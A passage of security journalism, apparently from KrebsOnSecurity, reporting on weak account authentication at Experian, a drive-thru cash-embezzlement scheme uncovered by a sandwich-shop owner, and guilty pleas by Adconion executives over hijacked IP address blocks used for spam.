Likewise, trying to recreate an existing account at Equifax using personal information tied to my existing account prompts Equifax’s systems to report that I already have an account, and to use their password reset process (which involves sending a verification email to the address on file).

KrebsOnSecurity has long urged readers in the United States to place a security freeze on their files with the three major credit bureaus. With a freeze in place, potential creditors can’t pull your credit file, which makes it very unlikely anyone will be granted new lines of credit in your name. I’ve also advised readers to plant their flag at the three major bureaus, to prevent identity thieves from creating an account for you and assuming control over your identity.

The experiences of Rishi, Turner and this author suggest Experian’s practices currently undermine both of those proactive security measures. Even so, having an active account at Experian may be the only way you find out when crooks have assumed your identity. Because at least then you should receive an email from Experian saying they gave your identity to someone else.

In April 2021, KrebsOnSecurity revealed how identity thieves were exploiting lax authentication on Experian’s PIN retrieval page to unfreeze consumer credit files. In those cases, Experian failed to send any notice via email when a freeze PIN was retrieved, nor did it require the PIN to be sent to an email address already associated with the consumer’s account.

A few days after that April 2021 story, KrebsOnSecurity broke the news that an Experian API was exposing the credit scores of most Americans.

Emory Roan, policy counsel for the Privacy Rights Clearinghouse, said Experian not offering multi-factor authentication for consumer accounts is inexcusable in 2022.

“They compound the problem by gating the recovery process with information that’s likely available or inferable from third party data brokers, or that could have been exposed in previous data breaches,” Roan said. “Experian is one of the largest Consumer Reporting Agencies in the country, trusted as one of the few essential players in a credit system Americans are forced to be part of. For them to not offer consumers some form of (free) MFA is baffling and reflects extremely poorly on Experian.”

Nicholas Weaver, a researcher for the International Computer Science Institute at University of California, Berkeley, said Experian has no real incentive to do things right on the consumer side of its business. That is, he said, unless Experian’s customers — banks and other lenders — choose to vote with their feet because too many people with frozen credit files are having to deal with unauthorized applications for new credit.

“The actual customers of the credit service don’t realize how much worse Experian is, and this isn’t the first time Experian has screwed up horribly,” Weaver said. “Experian is part of a triopoly, and I’m sure this is costing their actual customers money, because if you have a credit freeze that gets lifted and somebody loans against it, it’s the lender who eats that fraud cost.”

And unlike consumers, he said, lenders do have a choice in which of the triopoly handles their credit checks.

“I do think it’s important to point out that their real customers do have a choice, and they should switch to TransUnion and Equifax,” he added.

More greatest hits from Experian:

2017: Experian Site Can Give Anyone Your Credit Freeze PIN
2015: Experian Breach Affects 15 Million Customers
2015: Experian Breach Tied to NY-NJ ID Theft Ring
2015: At Experian, Security Attrition Amid Acquisitions
2015: Experian Hit With Class Action Over ID Theft Service
2014: Experian Lapse Allowed ID Theft Service Access to 200 Million Consumer Records
2013: Experian Sold Consumer Data to ID Theft Service

Update, 10:32 a.m.: Updated the story to clarify that while Experian does sometimes ask users to enter a one-time code sent via SMS to the number on file, there does not appear to be any option to enable this on all logins.

Why Paper Receipts are Money at the Drive-Thru

Check out this handmade sign posted to the front door of a shuttered Jimmy John’s sandwich chain shop in Missouri last week. See if you can tell from the store owner’s message what happened.

If you guessed that someone in the Jimmy John’s store might have fallen victim to a Business Email Compromise (BEC) or “CEO fraud” scheme — wherein the scammers impersonate company executives to steal money — you’d be in good company.

In fact, that was my initial assumption when a reader in Missouri shared this photo after being turned away from his favorite local sub shop. But a conversation with the store’s owner Steve Saladin brought home the truth that some of the best solutions to fighting fraud are even more low-tech than BEC scams.

Visit any random fast-casual dining establishment and there’s a good chance you’ll see a sign somewhere from the management telling customers their next meal is free if they don’t receive a receipt with their food. While it may not be obvious, such policies are meant to deter employee theft.

The idea is to force employees to finalize all sales and create a transaction that gets logged by the company’s systems. The offer also incentivizes customers to help keep employees honest by reporting when they don’t get a receipt with their food, because employees can often conceal transactions by canceling them before they’re completed. In that scenario, the employee gives the customer their food and any change, and then pockets the rest.

You can probably guess by now that this particular Jimmy John’s franchise — in Sunset Hills, Mo. — was among those that chose not to incentivize its customers to insist upon receiving receipts. Thanks to that oversight, Saladin was forced to close the store last week and fire the husband-and-wife managers for allegedly embezzling nearly $100,000 in cash payments from customers.

Saladin said he began to suspect something was amiss after he agreed to take over the Monday and Tuesday shifts for the couple so they could have two consecutive days off together. He said he noticed that cash receipts at the end of the nights on Mondays and Tuesdays were “substantially larger” than when he wasn’t manning the till, and that this was consistent over several weeks.

Then he had friends proceed through his restaurant’s drive-thru, to see if they received receipts for cash payments.

“One of [the managers] would take an order at the drive-thru, and when they determined the customer was going to pay with cash the other would make the customer’s change for it, but then delete the order before the system could complete it and print a receipt,” Saladin said.

Saladin said his attorneys and local law enforcement are now involved, and he estimates the former employees stole close to $100,000 in cash receipts. That was on top of the $115,000 in salaries he paid in total each year to the two employees. Saladin also has to figure out a way to pay his franchisor a fee for each of the stolen transactions.

Now Saladin sees the wisdom of adding the receipt sign, and says all of his stores will soon carry a sign offering $10 in cash to any customers who report not receiving a receipt with their food.

Many business owners are reluctant to involve the authorities when they discover that a current or former employee has stolen from them. Too often, organizations victimized by employee theft shy away from reporting it because they’re worried that any resulting media coverage of the crime will do more harm than good.

But there are quiet ways to ensure embezzlers get their due. A few years back, I attended a presentation by an investigator with the criminal division of the U.S. Internal Revenue Service (IRS) who suggested that any embezzling victims seeking a discreet law enforcement response should simply contact the IRS.

The agent said the IRS is obligated to investigate all notifications it receives from employers about unreported income, but that embezzling victims often neglect to even notify the agency. That’s a shame, he said, because under U.S. federal law, anyone who willfully attempts to evade or defeat taxes can be charged with a felony, with penalties including up to $100,000 in fines, up to five years in prison, and the costs of prosecution.

Adconion Execs Plead Guilty in Federal Anti-Spam Case

At the outset of their federal criminal trial for hijacking vast swaths of Internet addresses for use in large-scale email spam campaigns, three current or former executives at online advertising firm Adconion Direct (now Amobee) have pleaded guilty to lesser misdemeanor charges of fraud and misrepresentation via email.

In October 2018, prosecutors in the Southern District of California named four Adconion employees — Jacob Bychak, Mark Manoogian, Petr Pacas, and Mohammed Abdul Qayyum —  in a ten-count indictment (PDF) on felony charges of conspiracy, wire fraud, and electronic mail fraud.

The government alleged that between December 2010 and September 2014, the defendants engaged in a conspiracy to identify or pay to identify blocks of Internet Protocol (IP) addresses that were registered to others but which were otherwise inactive.

Prosecutors said the men also sent forged letters to an Internet hosting firm claiming they had been authorized by the registrants of the inactive IP addresses to use that space for their own purposes.

All four defendants pleaded not guilty when they were charged back in 2018, but this week Bychak, Manoogian and Qayyum each entered a plea deal.

“The defendants’ jobs with Adconion were to acquire fresh IP addresses and employ other measures to circumvent the spam filters,” reads a statement released today by the U.S. Attorney for the Southern District of California, which said the defendants would pay $100,000 in fines each and perform 100 hours of community service.

“To conceal Adconion’s ties to the stolen IP addresses and the spam sent from these IP addresses, the defendants used a host of DBAs, virtual addresses, and fake names provided by the company,” the statement continues. “While defendants touted ties to well-known name brands, the email marketing campaigns associated with the hijacked IP addresses included advertisements such as ‘BigBeautifulWomen,’ ‘iPhone4S Promos,’ and ‘LatinLove[Cost-per-Click].'”

None of the three plea agreements are currently available on PACER, the online federal court document clearinghouse. However, PACER does show that on June 7 — the same day the pleas were entered by the defendants —  the government submitted to the court a superseding set of just two misdemeanor charges (PDF) of fraud in connection with email.

Another document filed in the case says the fourth defendant — Pacas — accepted a deferred prosecution deal, which includes a probationary period and a required $50,000 “donation” to a federal “crime victims fund.”

There are fewer than four billion so-called “Internet Protocol version 4” or IPv4 addresses available for use, but the vast majority of them have already been allocated. The global dearth of available IP addresses has turned them into a commodity wherein each IP can fetch between $15-$25 on the open market.

This has led to boom times for those engaged in the acquisition and sale of IP address blocks, but it has likewise emboldened those who specialize in absconding with and spamming from dormant IP address blocks without permission from the rightful owners.

In May, prosecutors published information about the source of some IP address ranges from which the Adconion employees allegedly spammed. For example, the government found the men leased some of their IP address ranges from a Dutch company that’s been tied to a scandal involving more than four million addresses siphoned from the African Network Information Centre (AFRINIC), the nonprofit responsible for overseeing IP address allocation for African organizations.

In 2019, AFRINIC fired a top employee after it emerged that in 2013 he quietly commandeered millions of IPs from defunct African entities or from those that were long ago acquired by other firms, and then conspired to sell an estimated $50 million worth of the IPs to marketers based outside Africa.

“Exhibit A” in a recent government court filing shows that in 2013 Adconion leased more than 65,000 IP addresses from Inspiring Networks, a Dutch network services company. In 2020, Inspiring Networks and its director Maikel Uerlings were named in a dogged, multi-part investigation by South African news outlet MyBroadband.co.za and researcher Ron Guilmette as one of two major beneficiaries of the four million IP addresses looted from AFRINIC by its former employee.

Exhibit A, from a May 2022 filing by U.S. federal prosecutors.

The address block in the above image — 196.246.0.0/16 — was reportedly later reclaimed by AFRINIC following an investigation. Inspiring Networks has not responded to requests for comment.

Prosecutors allege the Adconion employees also obtained hijacked IP address blocks from Daniel Dye, another man tied to this case who was charged separately. For many years, Dye was a system administrator for Optinrealbig, a Colorado company that relentlessly pimped all manner of junk email, from mortgage leads and adult-related services to counterfeit products and Viagra. In 2018, Dye pleaded guilty to violations of the CAN-SPAM Act.

Optinrealbig’s CEO was the spam king Scott Richter, who changed the name of the company to Media Breakaway after being successfully sued for spamming by AOL, Microsoft, MySpace, and the New York Attorney General Office, among others. In 2008, this author penned a column for The Washington Post detailing how Media Breakaway had hijacked tens of thousands of IP addresses from a defunct San Francisco company for use in its spamming operations.

The last-minute plea deals by the Adconion employees were reminiscent of another recent federal criminal prosecution for IP address sleight-of-hand. In November 2021, the CEO of South Carolina technology firm Micfo pleaded guilty just two days into his trial, admitting 20 counts of wire fraud in connection with an elaborate network of phony companies set up to obtain more than 700,000 IPs from the American Registry for Internet Numbers (ARIN) — AFRINIC’s counterpart in North America.

Adconion was acquired in June 2014 by Amobee, a Redwood City, Calif. online ad platform that has catered to some of the world’s biggest brands. Amobee’s parent firm — Singapore-based communications giant Singtel — bought Amobee for $321 million in March 2012.

But as Reuters reported in 2021, Amobee cost Singtel nearly twice as much in the last year alone — $589 million — in a “non-cash impairment charge” Singtel disclosed to investors. Marketing industry blog Digiday.com reported in February that Singtel was seeking to part ways with its ad tech subsidiary.

One final note about Amobee: In response to my 2019 story on the criminal charges against the Adconion executives, Amobee issued a statement saying “Amobee has fully cooperated with the government’s investigation of this 2017 matter which pertains to alleged activities that occurred years prior to Amobee’s acquisition of the company.”

Yet as the government’s indictment points out, the alleged hijacking activities took place up until September 2014, which was after Amobee’s acquisition of Adconion Direct in June 2014. Also, the IP address ranges that the Adconion executives were prosecuted for hijacking were all related to incidents in 2013 and 2014, which is hardly “years prior to Amobee’s acquisition of the company.”

Amobee has not yet responded to requests for comment.